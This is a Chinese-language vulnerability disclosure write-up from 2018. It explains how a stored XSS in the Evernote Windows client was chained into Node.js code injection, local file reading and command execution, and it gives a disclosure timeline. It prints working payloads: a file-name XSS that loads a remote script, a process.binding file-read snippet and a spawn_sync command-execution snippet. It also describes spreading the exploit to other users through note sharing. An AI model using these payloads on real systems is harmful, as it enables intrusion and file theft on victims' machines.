作者: dawu@知道創宇404實驗室
時間: 2018/10/24
English Version

0x00 漏洞簡介

  1. 印象筆記 Windows 客戶端 6.14 版本修復了一個儲存型 XSS。
  2. 由于只修復了 XSS 的入口點而沒有在出口處添加過濾,導致攻擊者可以在 6.14 版本的客戶端中生成儲存型 XSS并在 6.15 版本中觸發。
  3. 印象筆記的展示模式是使用 NodeWebKit 實現的,通過儲存型 XSS 可以在展示模式下注入 Nodejs 代碼。
  4. 經過各種嘗試,最終通過注入的 Nodejs 代碼實現了本地文件讀取和遠程命令執行。

0x01 前言

2018/09/20,我當時的同事@sebao告訴我印象筆記修復了他的 XSS 漏洞并登上了名人堂,碰巧國慶的時候考古過幾個客戶端 XSS 導致命令執行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測試過程中,我不僅發現原本的 XSS 修復方案存在漏洞、利用這個 XSS 漏洞實現了本地文件讀取和遠程命令執行,還通過分享筆記的功能實現了遠程攻擊。

0x02 印象筆記 Windows 客戶端 6.14 儲存型 XSS 漏洞

@sebao 發現的儲存型 XSS 漏洞的觸發方式如下: 1. 在筆記中添加一張圖片 2. 右鍵并將該圖片更名為 " onclick="alert(1)">.jpg" 3. 雙擊打開該筆記并點擊圖片,成功彈框。

經過測試,印象筆記官方修復該 XSS 的方式為:在更名處過濾了 ><" 等特殊字符,但有意思的是我在 6.14 版本下測試的 XSS 在 6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。

0x03 演示模式下的 Nodejs 代碼注入

XSS 修復方案存在漏洞并不能算是一個很嚴重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠程命令執行。為了方便測試,我在 6.14 版本的客戶端中將一張圖片更名為 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,將客戶端升級為最新版 6.15。

我測試了一些特殊的 API,例如evernote.openAttachmentgoog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉換了思路,遍歷 C:\\Program Files(x86)\Evernote\Evernote\ 目錄下的所有文件。我發現印象筆記在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目錄下存在 NodeWebKit,在演示的時候,印象筆記會調用這個 NodeWebKit

一個更好的消息是我可以通過之前發現的儲存型 XSS 在 NodeWebKit 中執行 Nodejs 代碼。

0x04 本地文件讀取 和 遠程命令執行的實現

既然可以注入 Nodejs 代碼,那就意味著我可以嘗試使用 child_process 來執行任意命令。

我嘗試使用 require('child_process').exec,但是卻報錯了: Module name "child_process" has not been loaded yet for context

這個錯誤并沒有澆滅我剛發現 Nodejs 代碼注入的激情,我在查閱各種資料嘗試 解決/繞過 這個問題。最終,我發現了前人的足跡:How we exploited a remote code execution vulnerability in math.js

根據文中的內容,簡單的修改讀取本地文件的 payload 很快就實現了相應的功能:

alert("Try to read C:\\\\Windows\\win.ini");
try{
  var buffer = new Buffer(8192);
  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 
  alert(buffer);
}
catch(err){
  alert(err);
}

但是在嘗試遠程命令執行的時候,我遇到了一些問題。由于并不了解 Nodejs,所以我不知道為什么 NodeWebkit 中沒有 ObjectArray,也不知道如何解決這個問題。我聽取了文中的建議,嘗試去理解 child_process的源碼,并且查找 spawn_sync 相關的用法。

最終,我從 window.process.env 中獲取到 env 的內容,并使用 spawn_sync 成功地彈出了計算器。

// command executed
try{
  spawn_sync = process.binding('spawn_sync');
  envPairs = [];
  for (var key in window.process.env) {
    envPairs.push(key + '=' + window.process.env[key]);
  }
  args = [];

  const options = {
    file: 'C:\\\\Windows\\system32\\calc.exe',
    args: args,
    envPairs: envPairs,
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true } 
    ]
  };
  spawn_sync.spawn(options);
}
catch(err){
  alert(err);
}

0x05 通過分享功能攻擊其他用戶

在我實現了本地文件讀取和本機命令執行后,黑哥提出了一個更高的要求:證明這個漏洞可以影響到其他用戶。

在注冊了一個小號后,我嘗試使用分享功能將 惡意筆記 分享給 ”他人“。

我的小號將會在 工作空間 收到別人發來的消息。

我的小號嘗試演示這個筆記,被注入的 Nodejs 代碼成功執行!

0x06 感謝

0x07 時間線

2018/09/27,發現相關漏洞,攥寫報告并發送至 security@evernote.com
2018/09/27,官方確認漏洞
2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修復相關漏洞,并將我的名字加入名人堂。
2018/10/19,在和官方溝通后,自行申請CVE,編號為:CVE-2018-18524
2018/11/05,Evernote 官方發布 正式版本 6.16.4,確認該漏洞被修復后公開漏洞細節。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/736/